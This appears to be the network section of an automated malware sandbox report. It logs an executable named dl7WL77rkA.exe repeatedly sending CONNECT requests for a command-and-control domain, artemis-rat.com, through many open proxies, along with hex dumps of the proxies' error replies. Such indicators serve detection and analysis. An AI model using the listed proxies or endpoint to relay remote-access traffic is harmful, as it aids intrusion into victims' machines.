6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1739	192.168.2.5	54046	193.239.58.92	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.892072916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1740	192.168.2.5	54056	146.59.70.29	37665	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.894027948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.902414083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.014625072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.014584064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1741	192.168.2.5	54906	104.19.138.4	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.895319939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.049719095 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1742	192.168.2.5	54813	46.17.63.166	18888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.896142006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.250134945 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1743	192.168.2.5	54796	165.225.24.50	10007	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.897490978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.202769995 CET	1286	IN	HTTP/1.1 403 Forbidden Content-Type: text/html Server: Zscaler/6.2 Cache-Control: no-cache Access-Control-Allow-Origin: * Content-length: 13607 Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 63 6c 6f 73 65 64 70 72 6f 78 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 74 68 72 65 65 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d 67 20 7b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 37 35 70 78 3b 0a 6d 61 78 2d 77 69 64 74 68 3a 34 33 30 70 78 3b 0a 7d 0a 2e 70 67 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 74 6f 70 3a 30 3b 0a 62 6f 74 74 6f 6d 3a 30 3b 0a 6c 65 66 74 3a 30 3b 0a 72 69 67 68 74 3a 30 3b 0a 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 0a 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 0a 7d 0a 2e 70 67 3a 62 65 66 6f 72 65 20 7b 0a 63 6f 6e 74 65 6e 74 3a 22 22 3b 0a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a Data Ascii: ...# Id: closedproxy.html 285144 2021-06-16 05:02:06Z szhang --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><html><head><meta name="description" content="Zscaler makes the internet safe for businesses by protecting their employees from malware, viruses, and other security threats."><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Internet Security by Zscaler</title><script language="JavaScript">var defLang = 'en_US'</script>...<img alt="Zscaler" src="https://login.zscalerthree.net/img_logo_new1.png">--><style type="text/css">body {background-color:#e3e3e3;font-family:Arial, sans-serif;font-size:12px;color:#4B4F54;}a {cursor:pointer;text-decoration:none;color:#009dd0;}table {margin-top:10px;}td table {margin-top:0;text-align:center;}img {max-height:75px;max-width:430px;}.pg {position:absolute;top:0;bottom:0;left:0;right:0;overflow-x:hidden;white-space:nowrap;}.pg:before {content:"";display:inline-block;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1744	192.168.2.5	54830	194.4.50.127	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.897835016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1745	192.168.2.5	54747	46.47.197.210	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.898251057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.893800974 CET	536	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3699 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from host X-Cache-Lookup: NONE from host:3128 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e d0 9e d0 a8 d0 98 d0 91 d0 9a d0 90 3a 20 d0 97 d0 b0 d0 bf d1 80 d0 be d1 88 d0 b5 d0 bd d0 bd d1 8b d0 b9 20 55 52 4c 20 d0 bd d0 b5 20 d0 bc d0 be d0 b6 d0 b5 d1 82 20 d0 b1 d1 8b d1 82 d1 8c 20 d0 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>: URL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1746	192.168.2.5	54851	3.12.144.146	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.901570082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.122711897 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1747	192.168.2.5	54758	222.179.155.90	9091	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.902647018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.238518000 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1748	192.168.2.5	54812	8.209.255.13	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.903341055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.592694998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.879235983 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1749	192.168.2.5	54935	104.21.85.200	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.903636932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.058139086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1750	192.168.2.5	54870	51.79.87.144	8533	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.903640985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1751	192.168.2.5	54835	167.172.159.43	22847	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.907398939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1752	192.168.2.5	53816	98.170.57.231	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.912144899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1753	192.168.2.5	54771	45.11.95.165	5049	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.912486076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1754	192.168.2.5	54778	185.132.242.212	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.912826061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1755	192.168.2.5	54939	162.159.242.150	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.913393021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.075656891 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1756	192.168.2.5	54195	142.54.229.249	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.913799047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1757	192.168.2.5	54775	103.156.232.85	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.914020061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1758	192.168.2.5	54624	41.77.188.131	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.914716959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.351676941 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:46 GMT Server: Apache X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Content-Type-Options: nosniff Content-Length: 597 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was una
Mar 11, 2024 03:30:46.391032934 CET	372	IN	Data Raw: 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 Data Ascii: ble to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this erro
Mar 11, 2024 03:30:46.767410994 CET	372	IN	Data Raw: 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 Data Ascii: ble to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this erro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1759	192.168.2.5	54691	47.104.0.12	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.914796114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
